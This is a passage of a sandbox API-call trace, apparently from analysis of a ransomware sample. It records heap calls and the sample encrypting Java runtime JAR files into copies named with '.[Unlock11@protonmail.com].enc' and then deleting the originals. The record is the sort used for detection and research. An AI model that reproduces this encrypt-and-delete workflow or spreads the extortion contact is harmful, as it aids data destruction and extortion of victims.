(HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0126.052] GetLastError () returned 0x0 [0126.053] GetLastError () returned 0x0 [0126.054] GetCurrentThreadId () returned 0x9b0 [0126.054] GetLastError () returned 0x0 [0126.054] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.054] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265438 [0126.054] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653b8 | out: hHeap=0x2ad0000) returned 1 [0126.054] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0126.054] GetCurrentThreadId () returned 0x9b0 [0126.054] GetLastError () returned 0x0 [0126.054] GetLastError () returned 0x0 [0126.055] GetLastError () returned 0x0 [0126.055] GetLastError () returned 0x0 [0126.055] GetCurrentThreadId () returned 0x9b0 [0126.055] GetLastError () returned 0x0 [0126.055] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.055] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0126.055] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0126.055] GetLastError () returned 0x0 [0126.056] GetLastError () returned 0x0 [0126.056] GetCurrentThreadId () returned 0x9b0 [0126.056] GetLastError () returned 0x0 [0126.056] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0126.057] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0126.057] GetLastError () returned 0x0 [0126.057] GetLastError () returned 0x0 [0126.057] GetCurrentThreadId () returned 0x9b0 [0126.057] GetLastError () returned 0x0 [0126.057] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.057] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265388 [0126.057] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265438 | out: hHeap=0x2ad0000) returned 1 [0126.057] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0126.057] GetCurrentThreadId () returned 0x9b0 [0126.057] GetLastError () returned 0x0 [0126.058] GetLastError () returned 0x0 [0126.058] GetLastError () returned 0x0 [0126.058] GetLastError () returned 0x0 [0126.058] GetCurrentThreadId () returned 0x9b0 [0126.058] GetLastError () returned 0x0 [0126.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.058] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0126.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0126.058] GetLastError () returned 0x0 [0126.059] GetLastError () returned 0x0 [0126.059] GetCurrentThreadId () returned 0x9b0 [0126.060] GetLastError () returned 0x0 [0126.060] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0126.060] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0126.060] GetLastError () returned 0x0 [0126.060] GetLastError () returned 0x0 [0126.060] GetCurrentThreadId () returned 0x9b0 [0126.060] GetLastError () returned 0x0 [0126.060] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.060] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265318 [0126.061] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265388 | out: hHeap=0x2ad0000) returned 1 [0126.061] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0126.061] GetCurrentThreadId () returned 0x9b0 [0126.061] GetLastError () returned 0x0 [0126.061] GetLastError () returned 0x0 [0126.061] GetLastError () returned 0x0 [0126.061] GetLastError () returned 0x0 [0126.061] GetCurrentThreadId () returned 0x9b0 [0126.062] GetLastError () returned 0x0 [0126.062] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.062] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0126.062] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0126.062] GetLastError () returned 0x0 [0126.063] GetLastError () returned 0x0 [0126.063] GetCurrentThreadId () returned 0x9b0 [0126.063] GetLastError () returned 0x0 [0126.063] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0126.063] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0126.063] GetLastError () returned 0x0 [0126.063] GetLastError () returned 0x0 [0126.064] GetCurrentThreadId () returned 0x9b0 [0126.064] GetLastError () returned 0x0 [0126.064] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.064] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265368 [0126.064] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265318 | out: hHeap=0x2ad0000) returned 1 [0126.064] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0126.064] GetCurrentThreadId () returned 0x9b0 [0126.064] GetLastError () returned 0x0 [0126.065] GetLastError () returned 0x0 [0126.065] GetLastError () returned 0x0 [0126.065] GetLastError () returned 0x0 [0126.065] GetCurrentThreadId () returned 0x9b0 [0126.065] GetLastError () returned 0x0 [0126.065] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.065] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0126.065] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0126.065] GetLastError () returned 0x0 [0126.067] GetLastError () returned 0x0 [0126.067] GetCurrentThreadId () returned 0x9b0 [0126.067] GetLastError () returned 0x0 [0126.067] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0126.067] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0126.067] GetLastError () returned 0x0 [0126.068] GetLastError () returned 0x0 [0126.068] GetCurrentThreadId () returned 0x9b0 [0126.068] GetLastError () returned 0x0 [0126.068] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.068] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32652d8 [0126.068] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265368 | out: hHeap=0x2ad0000) returned 1 [0126.068] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0126.068] GetCurrentThreadId () returned 0x9b0 [0126.068] GetLastError () returned 0x0 [0126.069] GetLastError () returned 0x0 [0126.069] GetLastError () returned 0x0 [0126.069] GetLastError () returned 0x0 [0126.069] GetCurrentThreadId () returned 0x9b0 [0126.069] GetLastError () returned 0x0 [0126.069] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.069] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0126.069] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0126.069] GetLastError () returned 0x0 [0126.070] GetLastError () returned 0x0 [0126.070] GetCurrentThreadId () returned 0x9b0 [0126.071] GetLastError () returned 0x0 [0126.071] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0126.071] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0126.071] GetLastError () returned 0x0 [0126.071] GetLastError () returned 0x0 [0126.071] GetCurrentThreadId () returned 0x9b0 [0126.071] GetLastError () returned 0x0 [0126.072] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.072] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x6845) returned 0x36f8548 [0126.072] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265298 [0126.072] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652d8 | out: hHeap=0x2ad0000) returned 1 [0126.072] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x6848) returned 0x36fed98 [0126.072] GetCurrentThreadId () returned 0x9b0 [0126.072] GetLastError () returned 0x0 [0126.072] GetLastError () returned 0x0 [0126.072] GetLastError () returned 0x0 [0126.072] GetLastError () returned 0x0 [0126.073] GetCurrentThreadId () returned 0x9b0 [0126.073] GetLastError () returned 0x0 [0126.073] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36fed98 | out: hHeap=0x2ad0000) returned 1 [0126.073] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812a0 [0126.073] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0126.073] GetLastError () returned 0x0 [0126.073] GetLastError () returned 0x0 [0126.073] GetCurrentThreadId () returned 0x9b0 [0126.074] GetLastError () returned 0x0 [0126.074] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37055e8 | out: hHeap=0x2ad0000) returned 1 [0126.074] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0126.074] GetLastError () returned 0x0 [0126.074] GetLastError () returned 0x0 [0126.074] GetCurrentThreadId () returned 0x9b0 [0126.074] GetLastError () returned 0x0 [0126.074] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.074] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.074] GetLastError () returned 0x0 [0126.075] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0126.075] CloseHandle (hObject=0x3ac) returned 1 [0126.075] GetLastError () returned 0x0 [0126.075] GetCurrentThreadId () returned 0x9b0 [0126.075] GetLastError () returned 0x0 [0126.075] GetLastError () returned 0x0 [0126.075] CloseHandle (hObject=0x39c) returned 1 [0126.075] GetLastError () returned 0x0 [0126.076] GetCurrentThreadId () returned 0x9b0 [0126.076] GetLastError () returned 0x0 [0126.076] GetLastError () returned 0x0 [0126.076] GetLastError () returned 0x0 [0126.076] GetLastError () returned 0x0 [0126.076] GetLastError () returned 0x0 [0126.076] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar")) returned 1 [0126.084] GetLastError () returned 0x0 [0126.084] GetCurrentThreadId () returned 0x9b0 [0126.084] GetLastError () returned 0x0 [0126.084] GetLastError () returned 0x0 [0126.084] GetLastError () returned 0x0 [0126.084] GetLastError () returned 0x0 [0126.084] GetLastError () returned 0x0 [0126.084] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar", lpFilePart=0x9bada4*="jce.jar") returned 0x2e [0126.085] GetCurrentThreadId () returned 0x9b0 [0126.085] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0126.085] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0126.085] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0126.085] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0126.085] GetCurrentThreadId () returned 0x9b0 [0126.085] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5ed8 [0126.085] GetLastError () returned 0x0 [0126.085] GetLastError () returned 0x0 [0126.085] GetLastError () returned 0x0 [0126.086] GetLastError () returned 0x0 [0126.086] GetCurrentThreadId () returned 0x9b0 [0126.086] GetLastError () returned 0x0 [0126.086] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5ed8 | out: hHeap=0x2ad0000) returned 1 [0126.086] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5ed8 [0126.086] GetLastError () returned 0x0 [0126.086] GetLastError () returned 0x0 [0126.086] GetLastError () returned 0x0 [0126.086] GetLastError () returned 0x0 [0126.086] GetCurrentThreadId () returned 0x9b0 [0126.086] GetLastError () returned 0x0 [0126.087] GetCurrentThreadId () returned 0x9b0 [0126.087] GetLastError () returned 0x0 [0126.087] GetLastError () returned 0x0 [0126.087] GetLastError () returned 0x0 [0126.087] GetLastError () returned 0x0 [0126.087] GetCurrentThreadId () returned 0x9b0 [0126.087] GetLastError () returned 0x0 [0126.088] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5ed8 | out: hHeap=0x2ad0000) returned 1 [0126.088] GetLastError () returned 0x0 [0126.088] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6708 | out: hHeap=0x2ad0000) returned 1 [0126.088] GetLastError () returned 0x0 [0126.088] GetLastError () returned 0x0 [0126.088] GetLastError () returned 0x0 [0126.088] GetCurrentThreadId () returned 0x9b0 [0126.088] GetLastError () returned 0x0 [0126.088] GetLastError () returned 0x0 [0126.088] GetLastError () returned 0x0 [0126.088] GetLastError () returned 0x0 [0126.089] GetLastError () returned 0x0 [0126.089] GetCurrentThreadId () returned 0x9b0 [0126.089] GetLastError () returned 0x0 [0126.089] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a4e8 | out: hHeap=0x2ad0000) returned 1 [0126.089] GetLastError () returned 0x0 [0126.089] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6168 | out: hHeap=0x2ad0000) returned 1 [0126.089] GetLastError () returned 0x0 [0126.089] GetLastError () returned 0x0 [0126.089] GetLastError () returned 0x0 [0126.089] GetCurrentThreadId () returned 0x9b0 [0126.089] GetLastError () returned 0x0 [0126.090] GetLastError () returned 0x0 [0126.090] GetLastError () returned 0x0 [0126.090] GetLastError () returned 0x0 [0126.090] GetLastError () returned 0x0 [0126.090] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0126.090] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1c6de)) returned 1 [0126.090] GetLastError () returned 0x0 [0126.090] GetCurrentThreadId () returned 0x9b0 [0126.090] GetLastError () returned 0x0 [0126.091] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0126.091] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366405c | out: pbBuffer=0x366405c) returned 1 [0126.091] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0126.091] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3ae0 [0126.091] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0126.091] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5ed8 [0126.091] GetCurrentThreadId () returned 0x9b0 [0126.091] GetLastError () returned 0x0 [0126.091] GetLastError () returned 0x0 [0126.091] GetLastError () returned 0x0 [0126.091] GetLastError () returned 0x0 [0126.092] GetCurrentThreadId () returned 0x9b0 [0126.092] GetLastError () returned 0x0 [0126.092] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5ed8 | out: hHeap=0x2ad0000) returned 1 [0126.092] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5ed8 [0126.092] GetLastError () returned 0x0 [0126.092] GetLastError () returned 0x0 [0126.092] GetLastError () returned 0x0 [0126.092] GetLastError () returned 0x0 [0126.092] GetCurrentThreadId () returned 0x9b0 [0126.092] GetLastError () returned 0x0 [0126.093] GetCurrentThreadId () returned 0x9b0 [0126.093] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5ed8 | out: hHeap=0x2ad0000) returned 1 [0126.093] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x3265338 [0126.093] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a3ae0 | out: hHeap=0x2ad0000) returned 1 [0126.093] GetLastError () returned 0x0 [0126.093] GetLastError () returned 0x0 [0126.093] GetLastError () returned 0x0 [0126.093] GetLastError () returned 0x0 [0126.093] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0126.093] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32652b8 [0126.093] GetLastError () returned 0x0 [0126.093] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0126.094] GetFileType (hFile=0x39c) returned 0x1 [0126.094] GetLastError () returned 0x0 [0126.094] GetCurrentThreadId () returned 0x9b0 [0126.094] GetLastError () returned 0x0 [0126.094] GetFileType (hFile=0x39c) returned 0x1 [0126.094] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0126.094] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.094] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.095] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.095] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.095] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.095] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.095] GetLastError () returned 0x0 [0126.095] GetCurrentThreadId () returned 0x9b0 [0126.095] GetLastError () returned 0x0 [0126.095] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652b8 | out: hHeap=0x2ad0000) returned 1 [0126.095] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0126.095] GetLastError () returned 0x0 [0126.095] GetLastError () returned 0x0 [0126.095] GetLastError () returned 0x0 [0126.096] GetLastError () returned 0x0 [0126.096] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0126.096] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32652b8 [0126.096] GetLastError () returned 0x0 [0126.096] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0126.097] GetFileType (hFile=0x3ac) returned 0x1 [0126.097] GetLastError () returned 0x0 [0126.097] GetCurrentThreadId () returned 0x9b0 [0126.097] GetLastError () returned 0x0 [0126.097] GetFileType (hFile=0x3ac) returned 0x1 [0126.097] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0126.097] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.097] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.097] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.097] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.097] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.097] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.097] GetLastError () returned 0x0 [0126.098] GetCurrentThreadId () returned 0x9b0 [0126.098] GetLastError () returned 0x0 [0126.098] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652b8 | out: hHeap=0x2ad0000) returned 1 [0126.098] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a22a8 | out: hHeap=0x2ad0000) returned 1 [0126.098] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0126.098] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0126.098] GetLastError () returned 0x0 [0126.098] GetLastError () returned 0x0 [0126.098] GetCurrentThreadId () returned 0x9b0 [0126.098] GetLastError () returned 0x0 [0126.098] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0126.099] GetLastError () returned 0x0 [0126.099] GetLastError () returned 0x0 [0126.099] GetCurrentThreadId () returned 0x9b0 [0126.099] GetLastError () returned 0x0 [0126.099] GetLastError () returned 0x0 [0126.101] GetCurrentThreadId () returned 0x9b0 [0126.101] GetCurrentThreadId () returned 0x9b0 [0126.101] GetCurrentThreadId () returned 0x9b0 [0126.103] GetCurrentThreadId () returned 0x9b0 [0126.104] GetCurrentThreadId () returned 0x9b0 [0126.104] GetCurrentThreadId () returned 0x9b0 [0126.104] GetCurrentThreadId () returned 0x9b0 [0126.105] GetCurrentThreadId () returned 0x9b0 [0126.105] GetCurrentThreadId () returned 0x9b0 [0126.105] CloseHandle (hObject=0x3ac) returned 1 [0126.105] GetCurrentThreadId () returned 0x9b0 [0126.105] CloseHandle (hObject=0x39c) returned 1 [0126.106] GetCurrentThreadId () returned 0x9b0 [0126.106] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar")) returned 1 [0126.107] GetCurrentThreadId () returned 0x9b0 [0126.107] GetCurrentThreadId () returned 0x9b0 [0126.107] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar", lpFilePart=0x9bada4*="jfr.jar") returned 0x2e [0126.108] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0126.108] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0126.108] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0126.108] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0126.108] GetCurrentThreadId () returned 0x9b0 [0126.108] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5ed8 [0126.108] GetCurrentThreadId () returned 0x9b0 [0126.108] GetCurrentThreadId () returned 0x9b0 [0126.108] GetCurrentThreadId () returned 0x9b0 [0126.109] GetCurrentThreadId () returned 0x9b0 [0126.109] GetCurrentThreadId () returned 0x9b0 [0126.109] GetCurrentThreadId () returned 0x9b0 [0126.109] GetCurrentThreadId () returned 0x9b0 [0126.109] GetCurrentThreadId () returned 0x9b0 [0126.109] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x88dc5)) returned 1 [0126.109] GetCurrentThreadId () returned 0x9b0 [0126.109] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662b9c | out: pbBuffer=0x3662b9c) returned 1 [0126.109] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0126.109] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3c68 [0126.110] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0126.110] GetCurrentThreadId () returned 0x9b0 [0126.110] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5ed8 [0126.110] GetCurrentThreadId () returned 0x9b0 [0126.110] GetCurrentThreadId () returned 0x9b0 [0126.110] GetCurrentThreadId () returned 0x9b0 [0126.110] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0126.110] GetFileType (hFile=0x39c) returned 0x1 [0126.111] GetCurrentThreadId () returned 0x9b0 [0126.111] GetFileType (hFile=0x39c) returned 0x1 [0126.111] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0126.111] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: 